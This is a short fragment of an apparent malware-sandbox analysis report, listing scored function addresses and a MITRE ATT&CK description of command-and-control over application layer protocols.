libraryloaderCOMMON

Function 00409566, Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Function 00402326, Relevance: 6.0, APIs: 4, Instructions: 14
COMMON

Function 00401647, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60
COMMON

Function 004067A6, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21
COMMON

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre